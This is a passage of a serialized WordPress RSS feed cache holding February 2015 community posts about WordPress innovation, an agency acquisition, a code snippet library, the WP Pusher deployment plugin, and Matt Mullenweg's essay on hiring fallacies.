Dilemma?\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"guid\";a:1:{i:0;a:5:{s:4:\"data\";s:28:\"http://wptavern.com/?p=38412\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"link\";a:1:{i:0;a:5:{s:4:\"data\";s:70:\"http://wptavern.com/is-wordpress-suffering-from-the-innovators-dilemma\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:11:\"description\";a:1:{i:0;a:5:{s:4:\"data\";s:4845:\"<a href=\"http://i0.wp.com/wptavern.com/wp-content/uploads/2015/02/InnovationDilemmaFeaturedImage.png\" rel=\"prettyphoto[38412]\"><img class=\"size-full wp-image-38420\" src=\"http://i0.wp.com/wptavern.com/wp-content/uploads/2015/02/InnovationDilemmaFeaturedImage.png?resize=631%2C323\" alt=\"Innovation Dilemma Featured Image\" /></a>photo credit: <a href=\"http://www.flickr.com/photos/37996588780@N01/273978773\">Scrabble</a> &#8211; <a href=\"https://creativecommons.org/licenses/by-sa/2.0/\">(license)</a>\n<p>I&#8217;ve used WordPress for more than seven years and I can&#8217;t think of any features it has that are innovative. I believe part of the reason is that I&#8217;ve been stuck in the WordPress bubble for so long, I haven&#8217;t been exposed to different ways of doing things. I only know the WordPress way and that&#8217;s a dangerous way of thinking.</p>\n<h2>The Innovator&#8217;s Dilemma</h2>\n<p>In 1997, <a class=\"mw-redirect\" title=\"Clayton Christensen\" href=\"http://en.wikipedia.org/wiki/Clayton_Christensen\">Clayton Christensen</a> published the <a title=\"http://en.wikipedia.org/wiki/The_Innovator%27s_Dilemma\" href=\"http://en.wikipedia.org/wiki/The_Innovator%27s_Dilemma\">Innovator&#8217;s Dilemma</a>. The book suggests that successful <a class=\"mw-redirect\" title=\"Companies\" href=\"http://en.wikipedia.org/wiki/Companies\">companies</a> can put too much emphasis on customers current needs, and fail to adopt new technology or business models that will meet their customer&#8217;s unstated or future needs. Christensen argues that such companies will eventually fall behind.</p>\n<a href=\"http://i2.wp.com/wptavern.com/wp-content/uploads/2015/02/InnovatorsDilemma.png\" rel=\"prettyphoto[38412]\"><img class=\"size-full wp-image-38419\" src=\"http://i2.wp.com/wptavern.com/wp-content/uploads/2015/02/InnovatorsDilemma.png?resize=571%2C466\" alt=\"Book Cover to Innovators Dilemma\" /></a>Book Cover to Innovators Dilemma\n<p>During his appearance at PressNomics, <a title=\"https://twitter.com/jeffr0/status/558778370792493056\" href=\"https://twitter.com/jeffr0/status/558778370792493056\">Matt Mullenweg said</a> that he’s, “worried we have become too much of an inward facing community and afraid to make a painful leap forward to make the next WordPress.” His statement is open to interpretation, but if you compare the WordPress open source project to a company and its users to customers, perhaps what he&#8217;s referring to is the idea that WordPress has fallen into the innovator&#8217;s dilemma.</p>\n<h2>External Innovation</h2>\n<p>In the Advanced WordPress Facebook group,  Joost de Valk responded to Mullenweg&#8217;s statement with, &#8220;Most innovation is done outside in, not inside out. But to be honest Matt, that’s where the problem lies too. The &#8216;inside&#8217; is very negative towards change, and is constantly throwing up hurdles. They like small incremental steps, but fear bigger ones.&#8221;</p>\n<p>Core WordPress development is done by a trusted team of people who have remained in core decision-making positions for years. It&#8217;s rare that an individual new to the community gets commit access or even gets to lead a release within two years.</p>\n<p>I don&#8217;t think it&#8217;s impossible, but if brand new contributors from outside of the WordPress bubble have little to no influence on the project, where is the opportunity for external innovation?</p>\n<h2>Leading by Example</h2>\n<p>Another statement Mullenweg made at PressNomics is that he wants to lead another release. Leading a release gives him the opportunity to lead by example and push for big changes, something he feels the community fears.</p>\n<h2>A Thought Experiment</h2>\n<p>What do you think are innovative features in WordPress? I&#8217;m especially curious to see how users answer the question versus developers. I&#8217;d also like to know what features in other publishing systems WordPress could learn from. An excellent example is the post editor in Medium which Mullenweg <a title=\"https://twitter.com/jeffr0/status/558777784932118531\" href=\"https://twitter.com/jeffr0/status/558777784932118531\">has admitted</a> offers a better experience than WordPress.</p>\n<h2>Can WordPress Avoid Irrelevance?</h2>\n<p>The road to 50% market share is tough and to some, <a title=\"http://wptavern.com/how-important-is-jetpack-on-wordpress-road-to-50-market-share#comment-63337\" href=\"http://wptavern.com/how-important-is-jetpack-on-wordpress-road-to-50-market-share#comment-63337\">is impossible</a> to achieve. Without innovation and continuous improvements to satisfy the needs of users, it&#8217;s entirely possible for WordPress to develop itself into irrelevance. Then again, what could WordPress developers do today to prevent this from happening? Is it a matter of changing philosophies and strategies or is it something else?</p>\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:7:\"pubDate\";a:1:{i:0;a:5:{s:4:\"data\";s:31:\"Tue, 03 Feb 2015 23:20:13 +0000\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:32:\"http://purl.org/dc/elements/1.1/\";a:1:{s:7:\"creator\";a:1:{i:0;a:5:{s:4:\"data\";s:13:\"Jeff Chandler\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}}}i:36;a:6:{s:4:\"data\";s:13:\"\n	\n	\n	\n	\n	\n	\n\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";s:5:\"child\";a:2:{s:0:\"\";a:5:{s:5:\"title\";a:1:{i:0;a:5:{s:4:\"data\";s:70:\"WPTavern: Human Made Acquires Australian Based WordPress Agency Sennza\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"guid\";a:1:{i:0;a:5:{s:4:\"data\";s:28:\"http://wptavern.com/?p=38401\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"link\";a:1:{i:0;a:5:{s:4:\"data\";s:80:\"http://wptavern.com/human-made-acquires-australian-based-wordpress-agency-sennza\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:11:\"description\";a:1:{i:0;a:5:{s:4:\"data\";s:2074:\"<a href=\"http://i0.wp.com/wptavern.com/wp-content/uploads/2014/08/MergeFeaturedImage.png\" rel=\"prettyphoto[38401]\"><img class=\"size-full wp-image-28143\" src=\"http://i0.wp.com/wptavern.com/wp-content/uploads/2014/08/MergeFeaturedImage.png?resize=678%2C252\" alt=\"Merge Featured Image\" /></a>photo credit: <a href=\"https://www.flickr.com/photos/rutlo/3743291132/\">rutlo</a> &#8211; <a href=\"http://creativecommons.org/licenses/by/2.0/\">cc</a>\n<p><a title=\"http://hmn.md/\" href=\"http://hmn.md/\">Human Made</a> has acquired Australian based WordPress development agency <a title=\"http://www.sennza.com.au/\" href=\"http://www.sennza.com.au/\">Sennza</a>. Human Made is a development shop with more than 20 employees and has offices scattered across the world. They&#8217;re also a <a title=\"http://vip.wordpress.com/partners/\" href=\"http://vip.wordpress.com/partners/\">WordPress.com VIP partner</a>. Sennza and its three employees will continue to work from their office and become Human Made Australia.</p>\n<p>The move gives Human Made an opportunity to tap into the enterprise market in Australia as well as help out with other projects across Asia, India, and the US West Coast. According to <a title=\"http://www.sennza.com.au/2015/02/03/sennza-joining-human-made/\" href=\"http://www.sennza.com.au/2015/02/03/sennza-joining-human-made/\">Sennza&#8217;s announcement</a>, talks of the acquisition began at WordCamp Europe in Sofia, Bulgaria.</p>\n<blockquote><p>Although we had met and spoken with Human Made previously, we got the chance to really meet and hang out with most of the team while at WordCamp Europe in Sofia, Bulgaria which helped to confirm this was the right decision to make.</p></blockquote>\n<p>Earlier this year at PressNomics, one of the topics of discussion is that we&#8217;re at the beginning stages of a consolidation period for agencies in the WordPress space. This move solidifies the belief that acquisitions involving 10 employees or less appear likely as larger shops look for opportunities to expand their reach and acquire talent at the same time.</p>\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:7:\"pubDate\";a:1:{i:0;a:5:{s:4:\"data\";s:31:\"Tue, 03 Feb 2015 22:11:05 +0000\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:32:\"http://purl.org/dc/elements/1.1/\";a:1:{s:7:\"creator\";a:1:{i:0;a:5:{s:4:\"data\";s:13:\"Jeff Chandler\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}}}i:37;a:6:{s:4:\"data\";s:13:\"\n	\n	\n	\n	\n	\n	\n\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";s:5:\"child\";a:2:{s:0:\"\";a:5:{s:5:\"title\";a:1:{i:0;a:5:{s:4:\"data\";s:84:\"WPTavern: How a Crowdsourced Code Snippet Library Can Boost Your Open Source Project\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"guid\";a:1:{i:0;a:5:{s:4:\"data\";s:28:\"http://wptavern.com/?p=37151\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"link\";a:1:{i:0;a:5:{s:4:\"data\";s:94:\"http://wptavern.com/how-a-crowdsourced-code-snippet-library-can-boost-your-open-source-project\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:11:\"description\";a:1:{i:0;a:5:{s:4:\"data\";s:4387:\"<p>Roughly one year ago this month Pippin Williamson made the first commit to Easy Digital Download&#8217;s &#8220;<a href=\"https://github.com/easydigitaldownloads/library\" target=\"_blank\">Library</a>&#8221; repository on GitHub. He created the library to be a community-maintained repository of code snippets that modify the default behavior of Easy Digital Downloads.</p>\n<p>So far the library has received 113 commits from eight contributors, which has resulted in more than sixty code snippets available to users and developers. The snippets cover everything from modifying the checkout experience to customizing the plugin&#8217;s email notifications.</p>\n<p><a href=\"http://i0.wp.com/wptavern.com/wp-content/uploads/2015/02/edd-code-snippet-library.png\" rel=\"prettyphoto[37151]\"><img src=\"http://i0.wp.com/wptavern.com/wp-content/uploads/2015/02/edd-code-snippet-library.png?resize=1025%2C951\" alt=\"edd-code-snippet-library\" class=\"aligncenter size-full wp-image-38381\" /></a></p>\n<p>With more than half a million downloads on <a href=\"https://wordpress.org/plugins/easy-digital-downloads/\" target=\"_blank\">WordPress.org</a> and 150+ free and commercial <a href=\"https://easydigitaldownloads.com/extensions/\" target=\"_blank\">extensions</a>, Easy Digital Downloads has a large community of developers who work with the software every day.</p>\n<p>Williamson said that having the ability to share snippets for modifying EDD behavior has been hugely useful for the project. He only approves solid, tested code but in most cases the snippets have been submitted by the EDD team. Managing the repository hardly costs any time at all, &#8220;a few minutes per week at max,&#8221; he said.</p>\n<p>The benefits of hosting a community-maintained repository of code snippets far outweigh the minimal time required to maintain it. &#8220;The biggest problem it has is humans: we tend to forget to put snippets up a lot of times,&#8221; Williamson said. He identified three key areas where the library benefits the project:</p>\n<ul>\n<li>It&#8217;s a resource for the support team.</li>\n<li>It&#8217;s a source of examples for people wanting to customize behavior.</li>\n<li>It provides live testing (similar to add-on plugins) for potential features to add to core.</li>\n</ul>\n<p>The most common way that snippets are added to the EDD library is through the support staff.  &#8220;We write code snippets for customers while helping with support tickets and then we put the snippet in the library,&#8221; Williamson said.</p>\n<p>He hasn&#8217;t seen any WordPress-based open source projects or products doing anything similar but thinks that others could gain some value from implementing a library. GenerateWP might be the closest example of a site attempting something similar for snippets that extend WordPress core, with its new user <a href=\"http://wptavern.com/generatewp-introduces-wordpress-custom-code-snippets\" target=\"_blank\">code library feature</a>. However, this doesn&#8217;t have the collaborative benefits of hosting the library on GitHub.</p>\n<p>Larger WordPress projects like the Pods Framework, Gravity Forms, WooCommerce, BuddyPress, Jetpack, etc., are prime candidates that might benefit from a library of tested snippets. Of course, it helps that the base EDD plugin is free and open source. A 100% commercial project may not fare as well with a crowdsourced snippet library.</p>\n<p>Easy Digital Download is well known for being extensible and developer-friendly. Over the past two years <a href=\"http://wptavern.com/pippin-williamson-on-building-a-community-around-your-open-source-project\" target=\"_blank\">Williamson built a community of contributors</a> 120+ strong and found that extensibility has a direct correlation to profitability. The code snippet library is undoubtedly a valuable investment toward helping developers extend the base EDD plugin.</p>\n<p>Could your open source project or product benefit from a community-maintained library of code snippets? A snippet library can keep developers from having to reinvent the wheel when performing common modifications. It also provides a tested resource of code samples for those who are just getting started extending your project. If Williamson&#8217;s experience is any proof, then the few minutes per week spent on a snippets library can pay off with a big boost for the community surrounding your project.</p>\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:7:\"pubDate\";a:1:{i:0;a:5:{s:4:\"data\";s:31:\"Tue, 03 Feb 2015 20:12:31 +0000\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:32:\"http://purl.org/dc/elements/1.1/\";a:1:{s:7:\"creator\";a:1:{i:0;a:5:{s:4:\"data\";s:13:\"Sarah Gooding\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}}}i:38;a:6:{s:4:\"data\";s:13:\"\n	\n	\n	\n	\n	\n	\n\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";s:5:\"child\";a:2:{s:0:\"\";a:5:{s:5:\"title\";a:1:{i:0;a:5:{s:4:\"data\";s:26:\"Matt: Advice and Fallacies\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"guid\";a:1:{i:0;a:5:{s:4:\"data\";s:21:\"http://ma.tt/?p=44648\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"link\";a:1:{i:0;a:5:{s:4:\"data\";s:42:\"http://ma.tt/2015/02/advice-and-fallacies/\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:11:\"description\";a:1:{i:0;a:5:{s:4:\"data\";s:5955:\"<p>One of the toughest things in business is when you get well-meaning advice from advisors, investors, or friends of the company who are valuable but might hold some ideas or ways of approaching problems that just aren&#8217;t applicable to your particular company or situation. They might be right most of the time, and it might have worked for them in the past to build a huge success, but it doesn&#8217;t mean it&#8217;s right for you, right now.</p>\n<p>This is especially a struggle for Automattic because so much of what we do is deliberately different from companies that have come before us. The below is a sensitive-info-scrubbed version of a comment I made on an <a href=\"http://p2theme.com/\">internal P2</a> in response to someone who had met with a close friend of the company who had said we should &#8220;hire more business people, and more people like <em>so-and-so</em>, who have a background in and passion for data analysis and structure. He also shared his ideas about what the additional business hires could be responsible for, such as P&amp;L responsibilities for specific products.&#8221; The person he had talked to was asking why we weren&#8217;t following that advice.</p>\n<p>The first part was easy, because <em>so-and-so</em> was actually leading hiring for a position around data and the early results were going well. The rest I ended up writing more about, which follows. It was only meant for internal consumption, so read it as such, but I got enough requests to share the comment publicly that I wanted to clean it up and release it for y&#8217;all.</p>\n<blockquote><p>On the &#8220;more biz people + P&amp;L&#8221; side, it&#8217;s an area we disagree.</p>\n<p>We&#8217;ve had more &#8220;business people&#8221; in the past, and found it just didn&#8217;t move the needle in the same way that investing on the support, engineering, and design side did. They also tended to generate more meetings and work for other people than was commensurate for their contributions.</p>\n<p>We&#8217;ve also experimented with giving leads P&amp;L responsibility for products and groups, but ultimately it was awkward because we don&#8217;t really want leads or teams focused on the loss or costs of what they&#8217;re doing &#8212; we just want to grow our core metrics and revenue in a healthy and accelerating way, and let Ops and myself worry about overall profit or loss for the company, costs of people and services, capital requirements, etc. We&#8217;re still at a stage where our primary goals are investing in growth and product excellence, I wouldn&#8217;t want a P&amp;L concern to be a distraction from that, and that also takes us into the territory of different teams having &#8220;headcounts&#8221; of people they can hire for the year, or budgets set ahead of time and that they&#8217;ll lose if they don&#8217;t use, zero-sum accounting between teams and more balkanization you often see in larger organizations. When anyone thinks about P&amp;L at Automattic, I want it to be holistically and with a long-term view, not for a single team or product.</p>\n<p>It gets backs to the fallacy we talked about and agreed to avoid at the [WordPress.com leads] meetup, which is the business equivalent of <a href=\"http://en.wikipedia.org/wiki/Great_Man_theory\" rel=\"nofollow\">Great Man Theory</a>: the idea that a deficiency in the business or product will be solved by hiring someone senior to be in charge of that thing. Example: Automattic is bad at marketing, we should hire a CMO. (99% of the time when this is suggested it means an external person, because if anyone internal was good the problem wouldn&#8217;t exist.) It&#8217;s an easy thing for anyone to fall into, you can see it in [a recent internal thread].</p>\n<p>This must work sometimes, because it seems to be a near-universal affliction of VCs on startup boards. It also is a little bit of a <a href=\"http://bikeshed.com/\" rel=\"nofollow\">bikeshed</a>, because while it can be difficult to understand or feel like you can have an influence on something fundamental to the product, like say the signup flow, most VCs have large professional networks and can have long and vigorous discussions talking about potential people who are executives in a given area and their first or second degree connections to them. Of course, like many of us, VCs are consumers of tech media which tends to ascribe all the success of an organization to a single person (like Sheryl Sandberg for Facebook not falling apart, or Adam Bain for revenue at Twitter). However often the problem has root causes more fundamental than a single person could shift.</p>\n<p>I subscribe to a more environment-driven approach, that if you break down a problem into its component parts you can address them individually, often with relatively simple next steps, and build things from the ground up, rather than the top down. If you can&#8217;t do that, then it&#8217;s best to be candid that the area is not a priority and make sure that&#8217;s in line with what you&#8217;re focusing on instead. In this process leaders will emerge or if the effort matures to a point where one joins as a new hire he or she will have the resources, groundwork, and environment to succeed.</p></blockquote>\n<p><strong>So in summary: always go back to first principles of decisions.</strong> Hires are seldom panaceas. Someone being successful in a role at another company doesn&#8217;t mean they actually did the work, or were the cause of the success. If there&#8217;s an area you&#8217;re weak, try to figure out the root causes of why you&#8217;re weak, and where possible try to improve the environment that creates the problem before pinning the turnaround on a &#8220;Jesus hire.&#8221; When you improve the environment it makes it much more likely a new external hire will do well. The majority of success or failure is a result of the environment, at least as much as the individuals involved.</p>\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:7:\"pubDate\";a:1:{i:0;a:5:{s:4:\"data\";s:31:\"Tue, 03 Feb 2015 07:57:22 +0000\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:32:\"http://purl.org/dc/elements/1.1/\";a:1:{s:7:\"creator\";a:1:{i:0;a:5:{s:4:\"data\";s:4:\"Matt\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}}}i:39;a:6:{s:4:\"data\";s:13:\"\n	\n	\n	\n	\n	\n	\n\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";s:5:\"child\";a:2:{s:0:\"\";a:5:{s:5:\"title\";a:1:{i:0;a:5:{s:4:\"data\";s:100:\"WPTavern: WP Pusher Aims to Provide Pain-Free Deployment of WordPress Themes and Plugins from GitHub\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"guid\";a:1:{i:0;a:5:{s:4:\"data\";s:28:\"http://wptavern.com/?p=38339\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"link\";a:1:{i:0;a:5:{s:4:\"data\";s:110:\"http://wptavern.com/wp-pusher-aims-to-provide-pain-free-deployment-of-wordpress-themes-and-plugins-from-github\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:11:\"description\";a:1:{i:0;a:5:{s:4:\"data\";s:6728:\"<p><a href=\"http://i0.wp.com/wptavern.com/wp-content/uploads/2015/02/wp-pusher.png\" rel=\"prettyphoto[38339]\"><img src=\"http://i0.wp.com/wptavern.com/wp-content/uploads/2015/02/wp-pusher.png?resize=680%2C312\" alt=\"wp-pusher\" class=\"aligncenter size-full wp-image-38342\" /></a></p>\n<p>If you create plugins and themes for clients and host them on GitHub, then you may have encountered the hassle of having to move those files over to your client&#8217;s installation. On super cheap hosting packages, where SSH access is not an option, this process inevitably requires manually copying files over via FTP.</p>\n<p>This is the problem that Danish developer <a href=\"http://petersuhm.com/\" target=\"_blank\">Peter Suhm</a> aims to solve with his new <a href=\"https://wppusher.com/\" target=\"_blank\">WP Pusher</a> product. The plugin aims to bring pain-free deployment of WordPress themes and plugins directly from GitHub and Bitbucket.</p>\n<p>&#8220;If you happen to be an actual developer, I guess you have a few preferences as to how you manage and deploy your code,&#8221; Suhm said. &#8220;I’m talking about stuff like version control and automated deployment scripts. Good luck with that on your clients&#8217; cheap-ass shared hosting account.&#8221;</p>\n<p>Suhm developed WP Pusher with the vast majority of cheaply-hosted WordPress sites in mind. Additionally, he wanted to eliminate some of the hangups with more expensive hosts. &#8220;Even if you are running a shiny new VPS and have SSH access, Git installed and you think all is well, soon you’ll realize other weird things,&#8221; he said. &#8220;You can&#8217;t have symlinks in your /plugins folder just to mention one.&#8221; WP Pusher gets around these limitations via a simple plugin that does not require Git or SSH.</p>\n<h3>How Does WP Pusher Work?</h3>\n<p>Once installed, WP Pusher allows you to install and manage all of your GitHub or Bitbucket-hosted plugins in one central dashboard in the admin. Enabling the Push-to-Deploy feature will have your code update itself automatically every time you push to GitHub or Bitbucket.</p>\n<p><a href=\"http://i2.wp.com/wptavern.com/wp-content/uploads/2015/02/manage-wp-pusher-themes.png\" rel=\"prettyphoto[38339]\"><img src=\"http://i2.wp.com/wptavern.com/wp-content/uploads/2015/02/manage-wp-pusher-themes.png?resize=1025%2C202\" alt=\"manage-wp-pusher-themes\" class=\"aligncenter size-full wp-image-38352\" /></a></p>\n<p>The plugin supports private repositories in its free edition and includes support for branches in the <a href=\"https://wppusher.com/#licenses\" target=\"_blank\">Pro version</a>.</p>\n<p><a href=\"http://i0.wp.com/wptavern.com/wp-content/uploads/2015/02/wp-pusher-install-plugin.png\" rel=\"prettyphoto[38339]\"><img src=\"http://i0.wp.com/wptavern.com/wp-content/uploads/2015/02/wp-pusher-install-plugin.png?resize=1025%2C651\" alt=\"wp-pusher-install-plugin\" class=\"aligncenter size-full wp-image-38353\" /></a></p>\n<p>WP Pusher is essentially an extension of the built-in auto updater in WordPress, which Suhm explained in the plugin&#8217;s release <a href=\"http://blog.wppusher.com/pain-of-wordpress-development/\" target=\"_blank\">post</a>:</p>\n<blockquote><p>After a lot of prototyping, and hacking around with the WordPress core, we came up with a smart solution. By utilizing the WordPress core upgrader classes, we could solve the problem in a really clean way. </p>\n<p>Since WordPress already knows how to pull stuff from a remote source and install it, we realized that by working together with WordPress, instead of just throwing random automated SSH and FTP scripts at the server, we could just have WordPress do the work for us -with a lot of tweaking of course. In the end, our solution doesn&#8217;t do anything that is not native to WordPress. It’s all core functionality.</p></blockquote>\n<p>WP Pusher does everything in the plugin and does not require shell access. It communicates with GitHub via a token stored on your server and operates using WordPress&#8217; core updater capabilities.</p>\n<h3>Different Approaches to Managing WordPress Projects with Git</h3>\n<p>In order to use WP Pusher, each GitHub-hosted plugin and/or theme will need to be in its own repository. While beta testing WP Pusher, Suhm found that developers have <a href=\"http://blog.wppusher.com/managing-wordpress-projects-with-git/\" target=\"_blank\">differences in how they manage WordPress projects with Git</a>. The most common one he&#8217;s encountered is <em>one installation, one repository</em>, where the entire WordPress installation, including themes and plugins, is under Git control. Suhm believes that this approach is fundamentally broken, given that it requires you to keep a lot of 3rd party code under version control.</p>\n<p>WP Pusher operates under a &#8220;<em>one package, one repository</em>&#8221; approach where each theme or plugin is its own entity. This method also offers the advantage of being able to share theme/plugin code across multiple projects.</p>\n<p>&#8220;WordPress relies heavily on the auto updater, which would make your version control a mess,&#8221; Suhm explained. &#8220;If you do have something that is more enterprise than most WordPress setups, you should consider a custom setup that allows better for version control of core. Packages should still, in my opinion, each have their own repositories, since they are logically their own entities.&#8221;</p>\n<p>WP Pusher is structured around this approach for managing WordPress projects with Git. You may need to restructure some of your repositories if you want to be able to use the plugin.</p>\n<p>The free version offers unlimited themes and plugins, unlimited repositories, and support for both GitHub and Bitbucket. It does not, however, include email support. WP Pusher is compatible with WordPress multisite and will show up in the network admin when activated. It doesn&#8217;t currently support Composer but Suhm is <a href=\"https://twitter.com/WP_Pusher/status/558356082960371713\" target=\"_blank\">considering adding it in the future</a>. The plugin is released under the GPLv2 license.</p>\n<p><a href=\"https://wppusher.com/\" target=\"_blank\">WP Pusher</a> offers a unique take on maintaining version control for projects while not forcing WordPress to bend over backwards to provide it in the admin. It leaves the version control to GitHub and/or Bitbucket and uses WordPress simply for deployment.</p>\n<p>Setup is simple and the plugin will work virtually everywhere, even on the cheapest hosting. If you like the idea of maintaining version control on a plugin/theme basis, you can download the WP Pusher plugin for free from the project&#8217;s <a href=\"https://wppusher.com/\" target=\"_blank\">website</a>.</p>\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:7:\"pubDate\";a:1:{i:0;a:5:{s:4:\"data\";s:31:\"Mon, 02 Feb 2015 22:32:21 +0000\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:32:\"http://purl.org/dc/elements/1.1/\";a:1:{s:7:\"creator\";a:1:{i:0;a:5:{s:4:\"data\";s:13:\"Sarah Gooding\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}}}i:40;a:6:{s:4:\"data\";s:13:\"\n	\n	\n	\n	\n	\n	\n\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";s:5:\"child\";a:2:{s:0:\"\";a:5:{s:5:\"title\";a:1:{i:0;a:5:{s:4:\"data\";s:27:\"Post Status: New journalism\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"guid\";a:1:{i:0;a:5:{s:4:\"data\";s:30:\"https://poststatus.com/?p=8311\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"link\";a:1:{i:0;a:5:{s:4:\"data\";s:38:\"https://poststatus.com/new-journalism/\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:11:\"description\";a:1:{i:0;a:5:{s:4:\"data\";s:13584:\"<p>Have you heard of Andrew Sullivan? He&#8217;s the man behind The Dish &#8212; a blog that helped break new ground on blog monetization through membership fees.</p>\n<p><a href=\"http://dish.andrewsullivan.com/2015/01/31/a-note-to-my-readers/\">He quit blogging</a>, and therefore the media world declared blogging dead (again). Sullivan leaving and the posts that have come from it have caused me to think about blogging and journalism in its current and changing state. I think we&#8217;re in the second act of what I&#8217;m pompously calling <em>new journalism</em>.</p>\n<h3>Blogging is so (not) dead</h3>\n<p>Seemingly everyone in media weighed in on Sullivan&#8217;s departure, from <a href=\"http://www.buzzfeed.com/bensmith/this-is-my-blog\">Ben Smith</a> at Buzzfeed to <a href=\"http://www.vox.com/2015/1/30/7948091/andrew-sullivan-leaving-blogging\">Ezra Klein</a> at Vox. My favorite (until today) was Mathew Ingram&#8217;s <a href=\"https://gigaom.com/2015/01/31/blogging-is-very-much-alive-we-just-call-it-something-else-now/\">take at Gigaom</a>, which mostly defended the blog.</p>\n<p>But the best of the bunch goes to former Automattician and current independent tech journalist Ben Thompson. Ben runs <a href=\"http://stratechery.com/\">Stratechery</a>, a blog that 